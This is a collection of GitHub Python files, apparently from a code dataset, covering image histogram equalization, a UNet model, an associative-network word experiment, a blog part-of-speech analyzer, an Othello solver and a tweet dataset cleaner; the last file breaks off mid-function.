hist_orig, hist_eq] where\r\n im_eq - is the equalized image. grayscale or RGB float64 image with values in [0, 1].\r\n hist_orig - is a 256 bin histogram of the original image (array with shape (256,) ).\r\n hist_eq - is a 256 bin histogram of the equalized image (array with shape (256,) )\r\n \"\"\"\r\n\r\n # working on [0,255] img\r\n if 0 <= np.max(im_orig) <= 1: img255 = np.int64(np.floor(im_orig * 255))\r\n else: img255 = im_orig\r\n\r\n # calc histogram and cumulative\r\n hist_orig = np.histogram(img255, bins=range(257))\r\n cumulative = np.cumsum(hist_orig[0])\r\n\r\n # Edge case - empty img\r\n if cumulative[-1] == 0:\r\n return [im_orig, im_orig, im_orig]\r\n\r\n # (else) find location of first color volume that is not zero\r\n first_col = np.nonzero(hist_orig[0])[0][0]\r\n if len(np.nonzero(hist_orig[0])[0]) == 1: # Edge case - There is only one volume of color\r\n return [im_orig, im_orig, im_orig]\r\n\r\n colormap = np.round(255 * (cumulative - cumulative[first_col]) / (\r\n cumulative[255] - cumulative[first_col]))\r\n\r\n # Use colormap to transform the img.\r\n equalized_img = apply_color_maping_to_img(colormap, img255)\r\n\r\n new_hist = np.histogram(equalized_img * 255, bins=range(257))\r\n\r\n\r\n return equalized_img\r\n\r\n\r\ndef apply_color_maping_to_img(colormap, img255):\r\n \"\"\"\r\n\r\n :param colormap: array range[0:255] of float64 (or ints) in [0:255]\r\n :param img255: [0,255] MxN img (Y or greyscale)\r\n :return:img with dims of img255, each pixel in [0,1] where each img[x]=colormap[x]=y (move volume of 34 to what is\r\n in cell 34 of colormap)\r\n \"\"\"\r\n dim = img255.shape\r\n equalized_img = (colormap[(np.int64(img255)).flatten()] / 255).reshape(*dim)\r\n return equalized_img\r\n\r\n\r\ndef return_to_RGB_format(YIQ, equalized_img):\r\n YIQ[0] = equalized_img\r\n return yiq2rgb(YIQ.T)\r\n\r\n\r\ndef img_to_grey_or_yiq(im_orig):\r\n \"\"\"\r\n return a NxM metrics of intensities, grey scale or Y of YIQ, and mark if it made an YIQ convertion\r\n :param im_orig:\r\n :return:\r\n \"\"\"\r\n YIQ = 0\r\n img_converted_to_YIQ_flag = False\r\n if im_orig.shape[-1] == 3 and len(im_orig.shape) == 3:\r\n YIQ = rgb2yiq(im_orig).T\r\n img = YIQ[0]\r\n img_converted_to_YIQ_flag = True\r\n else:\r\n img = im_orig\r\n return YIQ, img, img_converted_to_YIQ_flag\r\n\r\n\r\nRGB2YIQ_MATRIX = np.array([[0.299, 0.587, 0.114],\r\n [0.596, -0.275, -0.321],\r\n [0.212, -0.523, 0.311]])\r\n\r\n\r\n# given NxMx3 for RGB return YIQ - not optimized.\r\ndef rgb2yiq(imRGB):\r\n \"\"\"\r\n :param imRGB: NxMx3 where 3 is RGB, with values in[0,1]\r\n :return: imYIQ: NxMx3 where 3 is YIQ\r\n \"\"\"\r\n dim = imRGB.shape\r\n\r\n if dim[-1] != 3: ValueError(\"Input array must have a shape == (..., 3)), \"f\"got {dim}\")\r\n\r\n Y = RGB2YIQ_MATRIX[0][0] * imRGB[:, :, 0] + RGB2YIQ_MATRIX[0][1] * imRGB[:, :, 1] + RGB2YIQ_MATRIX[0][2] * imRGB[:,\r\n :, 2]\r\n I = RGB2YIQ_MATRIX[1][0] * imRGB[:, :, 0] + RGB2YIQ_MATRIX[1][1] * imRGB[:, :, 1] + RGB2YIQ_MATRIX[1][2] * imRGB[:,\r\n :, 2]\r\n Q = RGB2YIQ_MATRIX[2][0] * imRGB[:, :, 0] + RGB2YIQ_MATRIX[2][1] * imRGB[:, :, 1] + RGB2YIQ_MATRIX[2][2] * imRGB[:,\r\n :, 2]\r\n\r\n return np.stack((Y, I, Q), axis=-1)\r\n\r\n\r\n# the other way around\r\ndef yiq2rgb(imYIQ):\r\n \"\"\"\r\n :param imYIQ: NxMx3 where 3 is YIQ, with values in[-1,1]\r\n :return: imRGB: NxMx3 where 3 is YIQ\r\n \"\"\"\r\n\r\n inv_RGB2YIQ_MATRIX = np.linalg.inv(RGB2YIQ_MATRIX)\r\n dim = imYIQ.shape\r\n\r\n if dim[-1] != 3: ValueError(\"Input array must have a shape == (..., 3)), \"f\"got {dim}\")\r\n\r\n R = inv_RGB2YIQ_MATRIX[0][0] * imYIQ[:, :, 0] + inv_RGB2YIQ_MATRIX[0][1] * imYIQ[:, :, 1] + inv_RGB2YIQ_MATRIX[0][\r\n 2] * imYIQ[:, :, 2]\r\n G = inv_RGB2YIQ_MATRIX[1][0] * imYIQ[:, :, 0] + inv_RGB2YIQ_MATRIX[1][1] * imYIQ[:, :, 1] + inv_RGB2YIQ_MATRIX[1][\r\n 2] * imYIQ[:, :, 2]\r\n B = inv_RGB2YIQ_MATRIX[2][0] * imYIQ[:, :, 0] + inv_RGB2YIQ_MATRIX[2][1] * imYIQ[:, :, 1] + inv_RGB2YIQ_MATRIX[2][\r\n 2] * imYIQ[:, :, 2]\r\n\r\n return np.stack((R, G, B), axis=-1)\r\n\r\n\r\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ read_image_from_ex1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\n\r\ndef read_image(filename, representation=2):\r\n \"\"\"\r\n :param filename: the filename of an image on disk (could be grayscale or RGB).\r\n :param representation: representation code, either 1 or 2 defining whether the output should be a grayscale\r\n image (1) or an RGB image (2)\r\n :return: This function returns an image, make sure the output image is represented by a matrix of type\r\n np.float64 with intensities (either grayscale or RGB channel intensities) normalized to the range [0, 1].\r\n \"\"\"\r\n img = imageio.imread(filename, pilmode='RGB')\r\n # img = imao.imread(filename)\r\n if representation == 1:\r\n img = color.rgb2gray(img)\r\n else:\r\n img = img / 256\r\n return np.float64(img)\r\n\r\n\r\ndef imdisplay(filename, representation=2):\r\n \"\"\"\r\n This function to utilize read_image to display an image in a given representation. The function interface is:\r\n where filename and representation are the same as those defined in read_image’s interface. T\r\n :param filename:\r\n :param representation:\r\n :return:\r\n \"\"\"\r\n img = read_image(filename, representation)\r\n # img = -1*(1 - img) # convert the image\r\n if representation == 1:\r\n plt.imshow(img, 'gray')\r\n else:\r\n plt.imshow(img, 'rgb')\r\n plt.show()\r\n\r\n\r\nif __name__ == '__main__':\r\n blending_example1()\r\n# im_orig = read_image('externals/monkey.jpg', 1)\r\n# gpyr, filter_vec = build_laplacian_pyramid(im_orig, 3, 3)\r\n# display_pyramid(gpyr,3)\r\n# print('hell')\r\n\r\n# src = r'externals/nach.jpg'\r\n# img = read_image(src, 1)\r\n# # res = build_gaussian_pyramid(read_image(src, 1), 3, 3)[0]\r\n#\r\n# \"\"\"test of laplacian pyramid look - not ok\"\"\"\r\n# res = build_laplacian_pyramid(read_image(src, 1), 3, 3)[0]\r\n# plt.imshow(render_pyramid(res,3),cmap='gray')\r\n# # for i in range(len(res)):\r\n# # x = res[i]-np.min(res[i])\r\n# # x = 255*x//np.max(x)\r\n# # plt.imshow(x,cmap='gray')\r\n# # x = input(\"\")\r\n#\r\n# \"\"\" test of dimensions when expanding - GOOD\"\"\"\r\n# # img = img[:, :1023]\r\n# # # build_gaussian_pyramid(img,5,3)\r\n# # # filter = create_filter(3)\r\n# # while img.shape[0] > 32:\r\n# # print(img.shape)\r\n# # img = reduce(img, create_filter(3)[1])\r\n# # # plt.imshow(img,'gray')\r\n# # #\r\n# # while img.shape[0] <= 1024:\r\n# # print(img.shape)\r\n# # img = expand(img, create_filter(3)[1])\r\n# # # plt.imshow(img, 'gray')\r\n#\r\n# x = laplacian_to_image(res,create_filter(3),[1,1,1])\r\n#\r\n# plt.imshow(x,cmap='gray')","repo_name":"neriya333/Traditional-Image-Processing","sub_path":"sol3.py","file_name":"sol3.py","file_ext":"py","file_size_in_byte":18095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"26266520327","text":"import torch\nimport torch.nn as nn\n\n\nclass DoubleConv(nn.Module):\n def __init__(self, in_channels, out_channels, mid_channels=None):\n super().__init__()\n if not mid_channels:\n mid_channels = out_channels\n self.double_conv = nn.Sequential(\n nn.Conv2d(in_channels, mid_channels, kernel_size=3, padding=1),\n nn.BatchNorm2d(mid_channels),\n nn.ReLU(inplace=True),\n nn.Conv2d(mid_channels, out_channels, kernel_size=3, padding=1),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(inplace=True))\n\n def forward(self, x):\n return self.double_conv(x)\n\n\nclass UNet(nn.Module):\n def __init__(self, in_channels=3, out_channels=1, init_features=32):\n super(UNet, self).__init__()\n\n features = init_features\n self.encoder1 = DoubleConv(in_channels, features)\n self.pool1 = nn.MaxPool2d(kernel_size=2, stride=2)\n self.encoder2 = DoubleConv(features, features * 2)\n self.pool2 = nn.MaxPool2d(kernel_size=2, stride=2)\n self.encoder3 = DoubleConv(features * 2, features * 4)\n self.pool3 = nn.MaxPool2d(kernel_size=2, stride=2)\n self.encoder4 = DoubleConv(features * 4, features * 8)\n self.pool4 = nn.MaxPool2d(kernel_size=2, stride=2)\n\n self.bottleneck = DoubleConv(features * 8, features * 16)\n\n self.upconv4 = nn.ConvTranspose2d(features * 16, features * 8, kernel_size=2, stride=2)\n self.decoder4 = DoubleConv(features * 16, features * 8)\n self.upconv3 = nn.ConvTranspose2d(features * 8, features * 4, kernel_size=2, stride=2)\n self.decoder3 = DoubleConv(features * 8, features * 4)\n self.upconv2 = nn.ConvTranspose2d(features * 4, features * 2, kernel_size=2, stride=2)\n self.decoder2 = DoubleConv(features * 4, features * 2)\n self.upconv1 = nn.ConvTranspose2d(features * 2, features, kernel_size=2, stride=2)\n self.decoder1 = DoubleConv(features * 2, features)\n\n self.conv = nn.Conv2d(in_channels=features, out_channels=out_channels, kernel_size=1)\n\n def forward(self, x):\n enc1 = self.encoder1(x)\n enc2 = self.encoder2(self.pool1(enc1))\n enc3 = self.encoder3(self.pool2(enc2))\n enc4 = self.encoder4(self.pool3(enc3))\n\n bottleneck = self.bottleneck(self.pool4(enc4))\n\n dec4 = self.upconv4(bottleneck)\n dec4 = torch.cat((dec4, enc4), dim=1)\n dec4 = self.decoder4(dec4)\n dec3 = self.upconv3(dec4)\n dec3 = torch.cat((dec3, enc3), dim=1)\n dec3 = self.decoder3(dec3)\n dec2 = self.upconv2(dec3)\n dec2 = torch.cat((dec2, enc2), dim=1)\n dec2 = self.decoder2(dec2)\n dec1 = self.upconv1(dec2)\n dec1 = torch.cat((dec1, enc1), dim=1)\n dec1 = self.decoder1(dec1)\n return torch.sigmoid(self.conv(dec1))\n","repo_name":"gvrva/brain-segmentation","sub_path":"unet.py","file_name":"unet.py","file_ext":"py","file_size_in_byte":2849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"23295829593","text":"from enum import Enum\n\nimport colorama\nfrom colorama import Fore as cFore\nfrom colorama import Style as cStyle\n\n\n_all__ = (\"Style\", \"printf\", \"printf_exception\")\n\ncolorama.init()\n\n\nclass Style(Enum):\n OK = [cFore.GREEN, cStyle.BRIGHT]\n WARNING = [cFore.YELLOW, cStyle.BRIGHT]\n IGNORE = [cFore.CYAN]\n DANGER = [cFore.RED, cStyle.BRIGHT]\n\n\ndef printf(action, msg, style, indent=10, quiet=False):\n if quiet:\n return\n action = action.rjust(indent, \" \")\n out = style.value + [action, cFore.RESET, cStyle.RESET_ALL, \" \", msg]\n print(*out, sep=\"\")\n\n\ndef printf_exception(action, msg=\"\", quiet=False):\n if not quiet:\n return printf(action, msg, style=Style.DANGER)\n","repo_name":"jpsca/hecto","sub_path":"hecto/utils/printf.py","file_name":"printf.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"71033765666","text":"import sys, os\nfrom ANet import *\n#from matplotlib import pyplot as plt\n#plt.ion()\nfrom progressbar import ProgressBar\n\nimport pickle\nfrom copy import deepcopy\nfrom collections import Counter\nfrom scipy.sparse.linalg import eigsh\nfrom scipy.sparse import coo_matrix, csr_matrix, lil_matrix\n\ndef save_csr(matrix, filename):\n matrix.data.tofile(filename + \"_\"+ str(type(matrix.data[0])).split(\".\")[-1].strip(\"\\'>\") + \".data\")\n matrix.indptr.tofile(filename + \"_\"+ str(type(matrix.indptr[0])).split(\".\")[-1].strip(\"\\'>\") + \".indptr\")\n matrix.indices.tofile(filename + \"_\" +str(type(matrix.indices[0])).split(\".\")[-1].strip(\"\\'>\") + \".indices\")\n\ndef load_csr(fpath, shape, dtype=np.float64, itype=np.int32):\n data = np.fromfile(fpath + \"_{}.data\".format(str(dtype).split(\".\")[-1].strip(\"\\'>\")), dtype)\n indptr = np.fromfile(fpath + \"_{}.indptr\".format(str(itype).split(\".\")[-1].strip(\"\\'>\")), itype)\n indices = np.fromfile(fpath + \"_{}.indices\".format(str(itype).split(\".\")[-1].strip(\"\\'>\")), itype)\n\n return csr_matrix((data, indices, indptr), shape = shape)\n\n\ndef proj(a, v):\n return (a.dot(v)/v.dot(v))*v\n\n\nif __name__ == \"__main__\":\n\n N =2**17#16360#2**16\n\n K = 2#2\n\n \n hparams = {\"bank_labels\":[\"t-{}\".format(i) for i in range(K)],\n \"eps\":1e-7, \n \"eta\":0.55,\n \"alpha\":1.001,\n \"beta\":1,\n \"V0\":N,\n \"N\":N,\n \"idx_predict\":1,\n \"numBanks\":K, \n \"numSlots\":K,\n \"C\":1,\n \"mode\":\"numpy\",\n \"feedback\":\"stp\",\n \"init_weights\":False,\n \"gpu\":False,\n \"localist\":True,\n \"distributed\":False,\n \"maxiter\":1000,\n \"explicit\":True,\n \"sparse\":False,\n \"row_center\":False,\n \"col_center\":False,\n \"norm\":\"pmi\"}\n ANet = AssociativeNet(hparams)\n\n memory_path =\"TASA\" #sys.argv[1]\n\n NSamples = 100\n\n root_mem_path = \"/home/ubuntu/LTM/DEN1_GeneralizationAtRetrieval/rsc\"\n\n f = open(root_mem_path + \"/{}/vocab.txt\".format(memory_path), \"r\")\n vocab = f.readlines()\n ANet.vocab = [vocab[i].strip() for i in range(len(vocab))]\n f.close()\n ANet.I = {ANet.vocab[i]:i for i in range(len(vocab))}\n ANet.V = len(vocab)\n\n f = open(\"log.out\", \"w\")\n f.write(\"Let's go...\" +\"\\n\")\n f.close()\n totalChunks=1\n\n ###merging chunks\n nchunk = 1\n print (\"merging chunks\")\n V = len(vocab)\n\n C = load_csr(root_mem_path + \"/{}/C_{}_{}\".format(memory_path, 0, totalChunks), (V*K, V*K), dtype=np.int64) #pre-computed\n for IDX in range(1, nchunk):\n C[:, :] += load_csr(root_mem_path + \"/{}/C_{}_{}\".format(memory_path, IDX, totalChunks), (V*K, V*K), dtype=np.int64)\n\n\n f = open(root_mem_path + \"/{}/A_log.txt\".format(memory_path), \"r\")\n A_dims = f.read().split()\n f.close()\n A_shape = (int(A_dims[0]), int(A_dims[1]))\n\n\n \n A = load_csr(root_mem_path + \"/{}/A\".format(memory_path), A_shape, dtype=np.int32) #pre-computed\n\n\n\n #maxds =[5,10,15,20,50,100,200,300,500,1000]\n maxds = [50]#[5,10,15,20,25,30,35,40,45,50,55,60,65,70,75,80,85,90,95,100]\n Ds = []\n for i in range(len(maxds)):\n MAXD = maxds[i]\n D = load_csr(root_mem_path + \"/{}/D{}_{}_{}\".format(memory_path, MAXD,0, totalChunks), (V*K, V*K), dtype=np.int64) #pre-computed\n for IDX in range(1, nchunk):\n D[:, :] += load_csr(root_mem_path + \"/{}/D{}_{}_{}\".format(memory_path,MAXD, IDX, totalChunks), (V*K, V*K), dtype=np.int64)\n \n Ds.append( csr_matrix(D) )\n\n\n ANet.Ds = Ds\n ANet.D = ANet.Ds[0]\n ANet.A = A\n\n\n ###take out any counts less than a criterion\n #min_cc = 2\n #for i in range(len(C.data)):\n # if C.data[i] < min_cc:\n # C.data[i] = 0\n #C.eliminate_zeros()\n\n\n ANet.COUNTS = csr_matrix(C)\n\n\n\n del C\n #sys.exit()\n ##drop low freq term\n ANet.prune(min_wf = 50) #50 works\n\n toLoad = True\n if toLoad:\n print(\"Loading weight matrix\")\n ANet.W = np.load(root_mem_path + \"/{}/pmi.npy\".format(memory_path))\n print(\"Loading eigenspectrum\")\n ANet.ei = np.load(root_mem_path + \"/{}/ei_pmi.npy\".format(memory_path))\n ANet.ev = np.load(root_mem_path + \"/{}/ev_pmi.npy\".format(memory_path))\n ANet.W /= ANet.ei[0]\n else:\n print(\"Crunching out the weights...\")\n ANet.compute_weights(binaryMat=False)\n print(\"Saving weight matrix\")\n np.save(root_mem_path + \"/{}/pmi\".format(memory_path), ANet.W )\n ANet.update_eig()\n print(\"Saving eigenspectrum\")\n np.save(root_mem_path + \"/{}/ei_pmi\".format(memory_path), ANet.ei )\n np.save(root_mem_path + \"/{}/ev_pmi\".format(memory_path), ANet.ev )\n\n\n\n #i_max = 40\n #for i in range(i_max):\n # neg_w = (ANet.ei[i] - ANet.ei[i_max])/ANet.ei[i]\n # ANet.W -= neg_w*np.outer(ANet.ev[:, i], ANet.ev[:, i])\n\n\n #ANet.map_eig2weight(k=1000)\n #np.save(\"Emap\", ANet.EMap)\n #f = open(\"emap_ws.pkl\", \"wb\")\n #pickle.dump(ANet.emap_ws, f)\n #f.close()\n\n #e_max = 75.4832 #change this if you change the learning rule\n #ANet.alpha = 1.001\n #ANet.W /= e_max\n ANet.nullvec = np.zeros((K*ANet.V))\n ANet.N = ANet.V\n\n if ANet.hparams[\"gpu\"]:\n ANet.nullvec = ANet.nullvec.cuda()\n \n toLesion = True\n\n\n #target = \"buffalo\"\n\n #bg_corr = \"her \" + target\n #bg_incorr= \"she \" + target\n\n #target = \"\"\n #context= \"snake\"\n # \n #bg_corr = \"{}s \".format(context) + target\n #bg_incorr= \"{} \".format(context) + target\n\n\n\n [corr1, corr2] = bg_corr.split()\n\n ANet - (corr1, corr2)\n\n ANet.probe(bg_corr)\n\n vlens_corr = np.array(ANet.vlens)[:, 0]\n\n g1 = ANet.banks['t-0']\n g2 = ANet.banks['t-1']\n\n Wg = np.zeros((20,20))\n for i in range(20):\n for j in range(20):\n Wg[i, j] = ANet.W[ANet.I[g1[0][i]], ANet.V + ANet.I[g2[0][j]]]\n\n\n ANet.probe(bg_incorr)\n\n vlens_incorr= np.array(ANet.vlens)[:, 0]\n\n ug1 = ANet.banks['t-0']\n ug2 = ANet.banks['t-1']\n\n Wug = np.zeros((20,20))\n\n Wug = np.zeros((20,20))\n for i in range(20):\n for j in range(20):\n Wug[i, j] = ANet.W[ANet.I[ug1[0][i]], ANet.V + ANet.I[ug2[0][j]]]\n\n ~ ANet\n\n k = min([len(vlens_corr), len(vlens_incorr)])\n\n print(vlens_corr[:k] - vlens_incorr[:k])\n\n np.save(\"g1\", g1)\n np.save(\"g2\", g2)\n np.save(\"ug1\", ug1)\n np.save(\"ug2\", ug2)\n np.save(\"Wg\", Wg)\n np.save(\"Wug\", Wug)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"kshabahang/DEN1_GeneralizationAtRetrieval","sub_path":"src/gen_example.py","file_name":"gen_example.py","file_ext":"py","file_size_in_byte":7061,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"29469524768","text":"import collections\nimport requests\nfrom bs4 import BeautifulSoup\nfrom janome.tokenizer import Tokenizer\nimport csv\n\nthe_part_of_speech_for_deciding_the_king = '名詞'\n# 名詞, 動詞, 助詞, 副詞, 助動詞, 形容詞, 接続詞, 連体詞, ��頭詞, 感動詞\n\n\nclass Blog(object):\n def __init__(self, url):\n self.url = url\n self.title = ''\n self.pos_num = 0\n self.pos_counts = {}\n\n def get_pos_rates(self):\n pos_rates = {}\n for pos, count in self.pos_counts.items():\n pos_rates[pos] = count / self.pos_num\n return pos_rates\n\n\ndef get_urls():\n with open('urls.txt', 'r') as urls_txt:\n urls = [url.strip() for url in urls_txt.readlines()]\n return urls\n\n\ndef format_text(text):\n soup = BeautifulSoup(text, 'html.parser').find(class_='wrapper-article-detail-inner')\n soup.find('dl').decompose()\n while len(soup.find_all('pre')) > 0:\n soup.find('pre').decompose()\n while len(soup.find_all('code')) > 0:\n soup.find('code').decompose()\n while len(soup.find_all(class_='prettyprint')) > 0:\n soup.find(class_='prettyprint').decompose()\n formatted_text = '\\n'.join(soup.stripped_strings)\n return formatted_text\n\n\ndef create_blogs(urls):\n blogs = []\n for url in urls:\n blog = Blog(url)\n\n # テキスト取得、スクレイピング\n text_all = requests.get(blog.url).text\n text = format_text(text_all)\n title = text.splitlines()[0]\n blog.title = title\n\n # 形態素解析\n pos_list = []\n for token in Tokenizer().tokenize(text):\n pos = token.part_of_speech.split(',')[0]\n base_pos = ('名詞', '助詞', '動詞', '助動詞', '副詞', '形容詞', '連体詞', '接頭詞', '接続詞', '感動詞')\n if pos in base_pos:\n pos_list.append(pos)\n blog.pos_num = len(pos_list)\n\n # 品詞 (pos) カウント\n blog.pos_counts = collections.Counter(pos_list)\n blog.pos_counts = dict(sorted(blog.pos_counts.items(), key=lambda x: -x[1]))\n\n blogs.append(blog)\n print(blog.title)\n return blogs\n\n\ndef show_fields(blog):\n print(blog.url)\n print(blog.title)\n print('総単語数 :', blog.pos_num)\n print(dict(blog.pos_counts))\n pos_rates = blog.get_pos_rates()\n for pos, rate in pos_rates.items():\n pos_rates[pos] = str(round(rate * 100, 1)) + '%'\n print(pos_rates)\n print()\n\n\ndef who_is_the_king(pos, blogs):\n # pos率高い順にソート\n ranking = {}\n for blog in blogs:\n if pos in blog.get_pos_rates().keys():\n rate = blog.get_pos_rates()[pos]\n ranking[blog] = rate\n else:\n ranking[blog] = 0\n ranking = dict(sorted(ranking.items(), key=lambda x: -x[1]))\n\n ranked_blogs = []\n for blog in ranking.keys():\n ranked_blogs.append(blog)\n\n print('【 {}率ランキング 】'.format(pos))\n for rank, blog in enumerate(ranked_blogs):\n print(str(rank + 1) + '位')\n show_fields(blog)\n\n\ndef export_csv(blogs):\n with open('results.csv', 'a') as f:\n base_pos = ['名詞', '助詞', '動詞', '助動詞', '副詞', '形容詞', '連体詞', '接頭詞', '接続詞', '感動詞']\n header = ['id'] + base_pos\n writer = csv.DictWriter(f, header)\n for blog in blogs:\n pos_rates = blog.get_pos_rates()\n pos_rates['id'] = blog.url\n writer.writerow(pos_rates)\n\n\ndef main():\n urls = get_urls()\n blogs = create_blogs(urls)\n who_is_the_king(the_part_of_speech_for_deciding_the_king, blogs)\n export_csv(blogs)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"RyuGotoo/botchan_oh","sub_path":"meishi_oh.py","file_name":"meishi_oh.py","file_ext":"py","file_size_in_byte":3702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"74010446945","text":"# import sys\n# sys.stdin = open('input.txt', 'r')\n\n\ndef flip(i, j, d, c):\n global check\n\n if not 0 <= i < N or not 0 <= j < N:\n return\n\n if arr[i][j] == c:\n check = True\n return\n\n if arr[i][j] == 3 - c:\n flip(i + d[0], j + d[1], d, c)\n if check:\n arr[i][j] = c\n\n\ndef play(i, j, c):\n global check\n\n arr[i][j] = c\n for d in D:\n check = False\n flip(i + d[0], j + d[1], d, c)\n\n\nT = int(input())\nfor t in range(1, T+1):\n N, M = map(int, input().split())\n arr = [[0]*N for i in range(N)]\n arr[N // 2 - 1][N // 2] = arr[N // 2][N // 2 - 1] = 1\n arr[N // 2 - 1][N // 2 - 1] = arr[N // 2][N // 2] = 2\n D = [(0, 1), (1, 1), (1, 0), (1, -1), (0, -1), (-1, -1), (-1, 0), (-1, 1)]\n check = False\n\n for k in range(M):\n i, j, c = map(int, input().split())\n play(i - 1, j - 1, c)\n\n ans = [0, 0]\n for i in range(N):\n for j in range(N):\n if arr[i][j] == 1:\n ans[0] += 1\n elif arr[i][j] == 2:\n ans[1] += 1\n \n print(f'#{t}', *ans)\n","repo_name":"janghoonp12/algorithm","sub_path":"4_swea/0826/4_4615_재미있는오셀로게임/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"34606316642","text":"\"\"\"\nCSC110 Fall 2020 Final Project: Make Dataset Module\n\nThis module contains all functions related to cleaning our datasets and merging them\ninto one csv. When running this file, the create_dataset doctest will take a significant\namount of time due to the python_ta checking the contracts. To test create_dataset,\nplease disable this.\n\nUniversity of Toronto CSC110 Final Project: Sentiment Analysis of Climate Change Tweets\nSiddarth Dagar, Bradley Mathi, Backer Jackson, Daniel Zhu\n\"\"\"\nimport csv\nfrom typing import List, Dict\nimport datetime\n\nKEYWORDS_LIST = [\"trump\", \"breitbart\", \"cnn\", \"fakenews\", \"fake\", \"hurricane\", \"conspiracy\",\n \"evidence\", \"study\", 'deny',\n 'denier', 'science', 'energy', 'warm', 'weather',\n 'ocean', 'forest', 'fire', 'democrat', 'republican', 'hoax']\n\nSENTIMENT_DATASET = 'datasets/twitter_sentiment_data.csv'\nTWEETS_DATASET = 'datasets/tweets.csv'\nTARGET_DATASET = 'datasets/clean_data.csv'\n\n\ndef create_dataset(sentiment_data: str, dataset: str, target: str, keywords: List[str]) -> None:\n \"\"\"\n Create dataset takes out current tweets.csv and creates a new csv file. In this new file\n each tweet is also notated with if it contains the given keyword. The date is also\n converted to datetime\n\n >>> create_dataset(SENTIMENT_DATASET, TWEETS_DATASET, TARGET_DATASET, KEYWORDS_LIST)\n \"\"\"\n columns = ['sentiment', 'content', 'tweet_id', 'date', 'retweets'] + keywords\n sentiment = dict()\n with open(sentiment_data, 'r') as sentiment_csv:\n reader = csv.reader(sentiment_csv, delimiter=',')\n x = 0\n for row in reader:\n if x != 0:\n tweet_id = int(row[2])\n tweet_sentiment = int(row[0])\n sentiment[tweet_id] = tweet_sentiment\n else:\n x = 1\n\n tweets = []\n with open(dataset, 'r') as data:\n reader = csv.reader(data, delimiter=',')\n x = 0\n for row in reader:\n if x != 0:\n tweets.append(clean_row(row, keywords, sentiment))\n else:\n x = 1\n write_csv(target, columns, tweets)\n\n\ndef convert_str_to_date(str_date: str) -> datetime.date:\n \"\"\"\n This function is to be used when converting a csv to a pandas dataframe.\n Each date object is saved as a string, and must be converted back into a date object.\n\n >>> convert_str_to_date('2020-05-05')\n datetime.date(2020, 5, 5)\n\n >>> convert_str_to_date('2020-01-07')\n datetime.date(2020, 1, 7)\n \"\"\"\n values = str_date.split('-')\n return datetime.date(int(values[0]), int(values[1]), int(values[2]))\n\n\ndef count_frequency(dataset: str, keywords: List[str]) -> Dict[str, int]:\n \"\"\"\n Count_frequency takes a dataset and a list of keywords and counts the number of tweets\n that contains a given keyword. This function works for tweets.csv, not clean_data.csv\n >>> count_frequency(TWEETS_DATASET, ['trump'])\n {'trump': 155}\n \"\"\"\n ret = {}\n for word in keywords:\n ret[word] = 0\n with open(dataset, 'r') as tweets:\n linereader = csv.reader(tweets, delimiter=',')\n for row in linereader:\n for word in keywords:\n if word in row[17]:\n ret[word] += 1\n return ret\n\n\ndef convert_month_to_int(month: str) -> int:\n \"\"\"\n This function takes a month in string form and returns the integer index of it\n >>> convert_month_to_int('Jan')\n 1\n \"\"\"\n ref_dict = {'Jan': 1, 'Feb': 2, 'Mar': 3, 'Apr': 4, 'May': 5, 'Jun': 6, 'Jul': 7, 'Aug': 8,\n 'Sep': 9, 'Oct': 10, 'Nov': 11, 'Dec': 12}\n return ref_dict[month]\n\n\ndef convert_tweet_to_date(created_at: str) -> datetime.date:\n \"\"\"\n This function takes a string in the format of the dataset and converts it to a date\n >>> convert_tweet_to_date('Mon Oct 31 18:21:25 +0000 2016')\n datetime.date(2016, 10, 31)\n \"\"\"\n x = created_at.split()\n month = convert_month_to_int(x[1])\n day = int(x[2])\n year = int(x[5])\n return datetime.date(year, month, day)\n\n\ndef write_csv(target: str, 